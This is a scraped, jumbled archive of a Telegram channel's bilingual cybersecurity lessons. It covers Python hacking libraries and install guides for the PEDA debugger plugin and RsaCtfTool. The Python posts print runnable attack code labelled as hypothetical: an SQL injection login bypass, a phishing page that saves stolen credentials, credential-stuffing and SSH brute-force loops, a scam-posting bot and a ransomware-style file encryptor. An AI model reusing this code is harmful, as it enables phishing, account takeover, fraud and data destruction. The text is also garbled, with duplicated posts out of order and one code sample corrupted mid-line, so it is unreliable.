xtawb
رفتن به کانال در Telegram
اطلاعاتی وجود ندارد
مشترکین
-324 ساعت
-197 روز
-2430 روز
آرشیو پست ها
$-$
$$ 3 . Exploitation & Web Attack Libraries
- Requests: Performing SQL Injection, XSS, SSRF.
- BeautifulSoup4: Extracting data from web pages (Web Scraping).
- Selenium: Automating attacks on web applications.
- Pexpect: Interacting with Telnet and SSH for exploitation.
- Pylibnet: Crafting custom network packets.
Example: Performing SQL Injection Using requests
import requests
target_url = "http://example.com/login.php"
payload = "' OR '1'='1' -- "
data = {"username": payload, "password": "anything"}
response = requests.post(target_url, data=data)
if "Welcome" in response.text:
print("SQL Injection successful!")
else:
print("Failed to bypass authentication.")import frida
device = frida.get_usb_device()
pid = device.spawn(["com.target.app"])
session = device.attach(pid)
script = session.create_script("""
Interceptor.attach(Module.findExportByName(null, 'open'), {
onEnter: function (args) {
send('File opened: ' + Memory.readUtf8String(args[0]));
}
});
""")
script.load()
device.resume(pid)import bluetooth
print("Scanning for Bluetooth devices...")
devices = bluetooth.discover_devices(duration=8, lookup_names=True)
for addr, name in devices:
print(f"Device: {name} - {addr}")$-$
$$$ Python Libraries for Ethical Hacking & Penetration Testing
Python is one of the most powerful programming languages in cybersecurity and ethical hacking, thanks to its extensive libraries that facilitate penetration testing and vulnerability analysis. Below are some commonly used Python libraries for security testing:
$-$
$$ 1 . Network Scanning & Intrusion Libraries
These libraries help discover devices, scan ports, and analyze network packets.
- Scapy: Packet crafting and network analysis.
- Socket: Creating TCP/IP connections and scanning ports.
- Netifaces: Retrieving network interface information.
- Impacket: Exploiting network protocols like SMB and LDAP.
- Nmap (python-nmap): Running Nmap scans from Python.
Example: Scanning Open Ports Using python-nmap
import nmap
scanner = nmap.PortScanner()
target_ip = "192.168.1.1"
scanner.scan(target_ip, '1-1000', '-sV')
for host in scanner.all_hosts():
print(f"Host: {host} ({scanner[host].hostname()})")
for proto in scanner[host].all_protocols():
ports = scanner[host][proto].keys()
for port in ports:
print(f"Port {port} is open: {scanner[host][proto][port]['name']}")import hashlib
hash_to_crack = "5f4dcc3b5aa765d61d8327deb882cf99" # MD5 hash of "password"
wordlist = ["123456", "password", "admin", "qwerty"]
for word in wordlist:
hashed_word = hashlib.md5(word.encode()).hexdigest()
if hashed_word == hash_to_crack:
print(f"Password found: {word}")
break- How Python Could Be Used:
- Python can be used to create fake login pages or automate phishing campaigns.
- Libraries like
Flask can be misused to host phishing websites.
Example Code (Hypothetical):
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def phishing_page():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
with open("stolen_credentials.txt", "a") as f:
f.write(f"Username: {username}, Password: {password}\n")
return "Login failed. Please try again."
return render_template_string('''
<form method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
''')
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)requests and BeautifulSoup can be used to interact with login forms.
Example Code (Hypothetical):
import requests
# Hypothetical credential stuffing script
target_url = "https://example.com/login"
credentials = [("user1", "pass1"), ("user2", "pass2")]
for username, password in credentials:
payload = {"username": username, "password": password}
response = requests.post(target_url, data=payload)
if "Welcome" in response.text:
print(f"Success! Username: {username}, Password: {password}")
breakimport paramiko
def ssh_brute_force(target, username, password_list):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in password_list:
try:
client.connect(target, username=username, password=password, timeout=3)
print(f"Login successful! Password: {password}")
client.close()
break
except paramiko.AuthenticationException:
print(f"Incorrect password: {password}")
except Exception as e:
print(f"Error: {e}")
target_ip = "192.168.1.1"
username = "admin"
passwords = ["123456", "password", "admin123", "root", "letmein"]
ssh_brute_force(target_ip, username, passwords)for host in scanner.all_hosts():
print(f"Host: {host} ({scanner[host].hostname()})")
for proto in scanner[host].all_protocols():
ports = scanner[host][proto].keys()
for port in ports:
print(f"Port {port} is open: {scanner[host][proto][port]['name']}")
$-$ $$ **2 . Password Attacks (Brute Force & Hash Cracking)** - **Paramiko**: SSH Brute Force attacks. - **PyOTP**: Generating 2FA codes for security testing. - **Hashlib**: Hashing and cracking password hashes. - **Cryptography**: Encrypting and decrypting sensitive data. **Example: Cracking an MD5 Hash Using hashlib**python import hashlib hash_to_crack = "5f4dcc3b5aa765d61d8327deb882cf99" # MD5 hash of "password" wordlist = ["123456", "password", "admin", "qwerty"] for word in wordlist: hashed_word = hashlib.md5(word.encode()).hexdigest() if hashed_word == hash_to_crack: print(f"Password found: {word}") break
$-$ $$ **3 . Exploitation & Web Attack Libraries** - **Requests**: Performing SQL Injection, XSS, SSRF. - **BeautifulSoup4**: Extracting data from web pages (Web Scraping). - **Selenium**: Automating attacks on web applications. - **Pexpect**: Interacting with Telnet and SSH for exploitation. - **Pylibnet**: Crafting custom network packets. **Example: Performing SQL Injection Using requests**python import requests target_url = "http://example.com/login.php" payload = "' OR '1'='1' -- " data = {"username": payload, "password": "anything"} response = requests.post(target_url, data=data) if "Welcome" in response.text: print("SQL Injection successful!") else: print("Failed to bypass authentication.")
$-$ $$ **4 . Reverse Engineering & Application Security Testing** - **Frida**: Analyzing Android and iOS applications. - **PwnTools**: Exploiting software vulnerabilities. - **Radare2 (r2pipe)**: Reverse-engineering binary executables. - **Pydbg**: Debugging and analyzing programs. - **IDA Pro Python API**: Finding vulnerabilities in compiled applications. **Example: Hooking an Android API Call with frida**python import frida device = frida.get_usb_device() pid = device.spawn(["com.target.app"]) session = device.attach(pid) script = session.create_script(""" Interceptor.attach(Module.findExportByName(null, 'open'), { onEnter: function (args) { send('File opened: ' + Memory.read5 . Wireless & Bluetooth Hacking Librariesoad()Scapyesume(pid)
$-$ $$ **5 . Wireless & Bluetooth Hacking Libraries** - **Scapy**: Capturing and analyzing Wi-Fi packets. - **PyBluez**: Scanning and attacking Bluetooth devices. - **Aircrack-ng (py-aircrack)**: Cracking WPA/WEP network encryption. **Example: Scanning Nearby Bluetooth Devices Using PyBluez**python import bluetooth print("Scanning for Bluetooth devices...") devices = bluetooth.discover_devices(duration=8, lookup_names=True) for addr, name in devices: print(f"Device: {name} - {addr}")
`- How Python Could Be Used:
- Python can be used to create fake login pages or automate phishing campaigns.
- Libraries like
Flask can be misused to host phishing websites.
Example Code (Hypothetical):
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def phishing_page():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
with open("stolen_credentials.txt", "a") as f:
f.write(f"Username: {username}, Password: {password}\n")
return "Login failed. Please try again."
return render_template_string('''
<form method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
''')
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)requests and BeautifulSoup can be used to interact with login forms.
Example Code (Hypothetical):
import requests
# Hypothetical credential stuffing script
target_url = "https://example.com/login"
credentials = [("user1", "pass1"), ("user2", "pass2")]
for username, password in credentials:
payload = {"username": username, "password": password}
response = requests.post(target_url, data=payload)
if "Welcome" in response.text:
print(f"Success! Username: {username}, Password: {password}")
breakimport paramiko
def ssh_brute_force(target, username, password_list):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in password_list:
try:
client.connect(target, username=username, password=password, timeout=3)
print(f"Login successful! Password: {password}")
client.close()
break
except paramiko.AuthenticationException:
print(f"Incorrect password: {password}")
except Exception as e:
print(f"Error: {e}")
target_ip = "192.168.1.1"
username = "admin"
passwords = ["123456", "password", "admin123", "root", "letmein"]
ssh_brute_force(target_ip, username, passwords)`python
import nmap
scanner = nmap.PortScanner()
target_ip = "192.168.1.1"
scanner.scan(target_ip, '1-1000', '-sV') ْˣᵗᵃʷᵇ$$ Lesson One: Python in Cybersecurity
P - L: Python
Has Yuma heard about a global hack or an international bank hack?
-> Let me show you how it's done.
Python is one of the most important languages in the field of cybersecurity,
While Python is a powerful tool in the cybersecurity world, it's important to emphasize that hacking is illegal and unethical unless performed with explicit permission (e.g., in penetration testing or ethical hacking scenarios). Below, I’ll provide examples of real-world hacking incidents where Python *could have been* used as part of the attack, along with an explanation of how Python might be involved. These examples are for educational purposes only, to help you understand how Python can be misused and how to defend against such attacks.
Real-World Hacking Incidents Using Python
$-$
$$ 1 . Equifax Data Breach (2017)
- What Happened: Hackers exploited a vulnerability in Apache Struts, a web application framework, to gain access to sensitive data of over 147 million people.
- How Python Could Be Used:
- Python scripts can be used to scan for vulnerable systems (e.g., using libraries like
requests to send payloads to web servers).
- Attackers could write Python scripts to automate the exploitation of the vulnerability and exfiltrate data.
Example Code (Hypothetical):
import requests
# Hypothetical exploit for a vulnerable Apache Struts server
target_url = "http://vulnerable-server.com/login.action"
payload = {"username": "admin", "password": "' OR 1=1 --"}
response = requests.post(target_url, data=payload)
if "Welcome" in response.text:
print("Exploit successful! Access granted.")
else:
print("Exploit failed.")import tweepy
$ Hypothetical script to automate posting scam messages
api_key = "your_api_key"
api_secret = "your_api_secret"
access_token = "your_access_token"
access_token_secret = "your_access_token_secret"
auth = tweepy.OAuthHandler(api_key, api_secret)
auth.set_access_token(access_token, access_token_secret)
api = tweepy.API(auth)
scam_message = "Send Bitcoin to this address to double your money! 🤑"
api.update_status(scam_message)
print("Scam message posted!")cryptography can be misused to implement encryption.
Example Code (Hypothetical):
from cryptography.fernet import Fernet
import os
# Generate a key for encryption
key = Fernet.generate_key()
cipher = Fernet(key)
# Encrypt files in a directory
target_directory = "/path/to/target/files"
for filename in os.listdir(target_directory):
file_path = os.path.join(target_directory, filename)
with open(file_path, "rb") as file:
data = file.read()
encrypted_data = cipher.encrypt(data)
with open(file_path, "wb") as file:
file.write(encrypted_data)
print("Files encrypted! Send Bitcoin to unlock.")
Welcome Back!
Hello again, my dear friends! After a break, I am back with new enthusiasm and exciting ideas to share with you. I thank you from the bottom of my heart for your patience and continuous support, as it is the motivation that keeps me going in providing content that benefits and inspires.
This season, I am starting a new and completely different journey with you! I have decided to dedicate this season to talking about programming languages and how we can benefit from them in the field of Cyber Security. Whether you are interested in programming or cyber security, or even if you are a beginner and want to understand the basics, this season will be full of valuable information suitable for all levels.
ˣᵗᵃʷᵇ$$ What Will You Learn This Season?
I will start by explaining the most important programming languages used in the field of cyber security, and I will show you how each language can be a powerful tool in your hands to protect systems and networks, detect vulnerabilities, and build effective security tools.
$$ The Languages We Will Cover:
1. Python:
- An easy-to-learn and powerful language, used for writing security tools, data analysis, and automating security tasks.
- Example: Writing scripts to scan for vulnerabilities or analyze network traffic.
2. C/C++:
- Languages close to hardware, used in developing high-performance security software, such as Intrusion Detection Systems (IDS).
- Example: Developing programs to understand how viruses and malware work.
3. JavaScript:
- Used in web security, such as detecting XSS or CSRF vulnerabilities.
- Example: Analyzing web codes to identify weaknesses.
4. PowerShell:
- A powerful tool for managing Windows systems and automating security tasks.
- Example: Writing scripts to monitor systems and detect suspicious activities.
5. Ruby:
- Used in developing security tools like the Metasploit framework.
- Example: Writing tools for penetration testing.
6. SQL:
- Used in protecting databases and detecting vulnerabilities like SQL injection.
- Example: Analyzing SQL queries to detect intrusion attempts.
ˣᵗᵃʷᵇ$$ Why Is This Topic Important?
In a world rapidly moving towards digitization, cyber security has become one of the most important fields that require advanced technical skills. Learning programming languages and understanding how to use them in cyber security will give you a significant competitive advantage, whether you are working in the field or planning to enter it.
ˣᵗᵃʷᵇ$$ What Do I Expect from You?
I want this season to be interactive! Share your opinions, questions, and suggestions with me. If there is a specific programming language you want me to discuss in more detail, or a particular topic in cyber security that interests you, do not hesitate to let me know.
$$ Conclusion
This season will be full of challenges and learning, and I am very excited to start this journey with you. Get ready because we will dive together into the world of programming and cyber security, and we will discover how we can use these tools to secure our digital world.
Stay tuned for the first lesson soon! 🎥
Always with you,
@xtawb
ˣᵗᵃʷᵇ$$ PEDA Tool: One of the Secrets for Exploit Development and Software Analysis
What’s up, hackers? Today, we're diving into a powerful tool called PEDA, which is a key player in exploit development using GDB (GNU Debugger). If you're into Exploit Development and trying to find vulnerabilities in software, this tool is an absolute must.
ˣᵗᵃʷᵇ$$ Why Use PEDA?
Enhances GDB Interface: We all know GDB can be a bit of a nightmare, right? PEDA fixes that. It clears everything up for you. From the stack to registers and memory – it’s all organized.
Organized Memory and Stack Display: PEDA makes it easy to see the memory, registers, and all the data you care about in an organized way. You can focus on finding vulnerabilities much faster.
Quick Vulnerability Analysis: If you’re doing binary analysis or trying to find an exploit in a program, PEDA helps you pinpoint crash points and vulnerabilities much more efficiently.
ˣᵗᵃʷᵇ$$ How to Install PEDA on Kali Linux:
Let’s get into the good stuff: how to install PEDA on Kali Linux? Here’s the deal, it’s easy:
1. Update your system first: Always start by updating your system:
sudo apt update && sudo apt upgrade -y
2. Clone PEDA from GitHub: Now, open your terminal and grab the tool from GitHub. Run:
git clone https://github.com/longld/peda.git ~/peda
3. Set it up to work with GDB: After downloading the tool, let’s set it up to work with GDB. Run:
cd ~/peda
./setup.sh
ˣᵗᵃʷᵇ$$ Can PEDA Be Used on Termux?
Now, the real question: can we use PEDA on Termux? Unfortunately, the answer is no. PEDA relies on the GDB environment in Linux, and Termux on phones doesn’t fully support it.
But no worries, you can still use GDB on Termux itself, just without the advanced features PEDA offers. If you’re just trying to do some basic analysis, it can work, but you won’t get the full power of PEDA.
ˣᵗᵃʷᵇ$$ Alternative to PEDA on Termux:
If you want to use GDB on Termux, you can install it like this:
pkg install gdb
But as I said, you won’t get all the features of PEDA. For serious vulnerability exploitation and deeper analysis, you’ll want to be working on a proper Linux environment like Kali or Ubuntu.
---//---//---//---//---
$$ أداة PEDA: سر من أسرار تطوير الثغرات وتحليل البرمجيات
أهلاً يا شباب، اليوم بنتكلم عن أداة قوية جداً اسمها PEDA، وهي سر من أسرار تطوير استغلال الثغرات باستخدام GDB (أداة تصحيح الأخطاء). لو كنت مهتم بالـ Exploit Development وبتحاول تكتشف الثغرات في البرمجيات، فهذه الأداة هتكون أساسية في شغلك.
$$ ليه تستخدم PEDA؟
تحسين واجهة GDB: كلنا عارفين إن GDB معقد بعض الشيء، صح؟ لكن مع PEDA الأمور بتكون أسهل. الأداة دي بتخلي كل شيء واضح قدامك، من المكدس (stack) للذاكرة وكل شيء تاني.
عرض الذاكرة والمكدس بشكل مرتب: الأداة دي هتخليك تشوف البيانات والـ registers وكل شيء يخص الذاكرة بشكل مرن ومنظم. هتقدر تركز في الثغرات بشكل أسرع.
تحليل سريع للثغرات: لو بتعمل binary analysis أو بتحاول تلاقي ثغرة في برنامج، PEDA هتساعدك تجيب الـ crash points بسرعة وتستغلها لصالحك.
$$ طريقة تحميل PEDA على Kali Linux:
الآن، خلونا نخش في الجزء المهم: ازاي نثبت الأداة دي على Kali Linux؟ الموضوع بسيط جداً:
1. تحديث النظام أولاً: لازم تبدأ بتحديث النظام علشان تتأكد إن كل شيء محدث:
sudo apt update && sudo apt upgrade -y
2. تحميل الأداة من GitHub: طيب، نفتح التيرمينال وننزل الأداة من GitHub. تكتب الأمر ده:
git clone https://github.com/longld/peda.git ~/peda
3. إعداد الأداة لتشتغل مع GDB: بعد ما تنزل الأداة، لازم تشغلها علشان تشتغل مع GDB. تكتب:
cd ~/peda
./setup.sh
$$ هل يمكن استخدام PEDA على Termux؟
هنا السؤال المهم: هل نقدر نستخدم PEDA على Termux؟ الجواب للأسف: لا. PEDA مبنية على GDB في بيئة Linux، و Termux على الهواتف مش هيقدر يشغلها بشكل صحيح.
لكن مفيش مشكلة، ممكن تستخدم GDB على Termux بنفسك، بس هتفقد المميزات المتقدمة لـ PEDA. يعني مش هتقدر تستمتع بكل القوة اللي بتقدمها PEDA، لكن تقدر تنفذ بعض التحليلات البسيطة.
$$ بديل PEDA على Termux:
لو حابب تستخدم GDB على Termux، فيك تثبته بالأوامر التالية:
pkg install gdb
لكن زي ما قلت، مش هتقدر تستخدم PEDA على Termux. لو كنت بتحاول تستغل الثغرات أو تعمل تحليل أكثر تعقيداً، تحتاج تشتغل على بيئة مثل Kali Linux أو Ubuntu.
ˣᵗᵃʷᵇ$$ What is RsaCtfTool?
RsaCtfTool is a specialized tool designed to solve RSA-related challenges in Capture The Flag (CTF) competitions or analyze weak and insecure keys. It is highly useful for testing the security of public and private RSA keys.
ˣᵗᵃʷᵇ$$ Features of RsaCtfTool:
1. Detects vulnerabilities in RSA keys.
2. Decrypts encrypted messages if keys are weak.
3. Retrieves private keys using various techniques (Factorization, Wiener's Attack, etc.).
4. Automates complex calculations for easier cryptanalysis.
ˣᵗᵃʷᵇ$$ How to Install and Use RsaCtfTool on Kali Linux:
1. Install Prerequisites:
Install Python 3 and other necessary tools:
sudo apt update
sudo apt install python3 python3-pip git -y
sudo apt install libgmp-dev libmpc-dev
2. Download the Tool:
Clone the RsaCtfTool repository from GitHub:
git clone https://github.com/Ganapati/RsaCtfTool.git
cd RsaCtfTool
pip3 install -r requirements.txt
3. How to Use:
Run the tool to analyze a specific key:
python3 RsaCtfTool.py --publickey <key_file> --decrypt <encrypted_message>
--publickey: Specifies the public key.
--decrypt: Decrypts the encrypted message.
The tool also supports commands like --attack to try different attacks.
ˣᵗᵃʷᵇ$$ Can RsaCtfTool Be Used on Termux?
Yes, the tool can run on Termux if the necessary dependencies are installed.
ˣᵗᵃʷᵇ$$ Steps to Install on Termux:
1. Install Python and Git:
pkg update
pkg install python git clang libgmp-dev -y
2. Download the Tool:
git clone https://github.com/Ganapati/RsaCtfTool.git
cd RsaCtfTool
pip install -r requirements.txt
3. Run the Tool on Termux:
Execute the same commands as on Kali Linux:
python3 RsaCtfTool.py --publickey <key_file> --decrypt <encrypted_message>
----//----//-----//-----
$$ ما هي أداة RsaCtfTool؟
RsaCtfTool هي أداة متخصصة تُستخدم لحل التحديات المتعلقة بـ RSA (الخوارزمية الشهيرة للتشفير) في مسابقات الـ CTF (Capture The Flag) أو لتحليل المفاتيح الضعيفة والمشفرة. الأداة مفيدة لاختبار أمان المفاتيح العامة والخاصة في خوارزمية RSA.
$$ ميزات الأداة:
1. الكشف عن نقاط الضعف في مفاتيح RSA.
2. فك تشفير الرسائل المشفرة إذا كانت المفاتيح ضعيفة.
3. إيجاد المفاتيح الخاصة باستخدام تقنيات متعددة (Factorization, Wiener's Attack, وغيرها).
4. حسابات أوتوماتيكية تجعل من السهل تحليل الشفرات.
$$ طريقة تثبيت واستخدام RsaCtfTool على كالي لينكس:
1. تثبيت المتطلبات:
قم بتثبيت Python 3 وأدوات أخرى ضرورية:
sudo apt update
sudo apt install python3 python3-pip git -y
sudo apt install libgmp-dev libmpc-dev
2. تحميل الأداة:
قم باستنساخ مستودع RsaCtfTool من GitHub:
git clone https://github.com/Ganapati/RsaCtfTool.git
cd RsaCtfTool
pip3 install -r requirements.txt
3. كيفية الاستخدام:
قم بتشغيل الأداة لفحص مفتاح معين:
python3 RsaCtfTool.py --publickey <اسم_الملف> --decrypt <اسم_الرسالة_المشفرة>
--publickey: يشير إلى المفتاح العام.
--decrypt: فك تشفير الرسالة المشفرة.
تدعم الأداة أيضاً أوامر أخرى مثل: --attack لتجربة هجمات مختلفة.
$$ هل يمكن استخدام RsaCtfTool على Termux؟
نعم، يمكن تشغيل الأداة على Termux بشرط تثبيت المتطلبات اللازمة.
$$ طريقة تثبيت الأداة على Termux:
1. تثبيت Python وGit:
pkg update
pkg install python git clang libgmp-dev -y
2. تحميل الأداة:
git clone https://github.com/Ganapati/RsaCtfTool.git
cd RsaCtfTool
pip install -r requirements.txt
3. التشغيل على Termux:
يمكنك تشغيل الأداة بنفس الأوامر المستخدمة على كالي لينكس:
python3 RsaCtfTool.py --publickey <اسم_الملف> --decrypt <اسم_الرسالة_المشفرة>
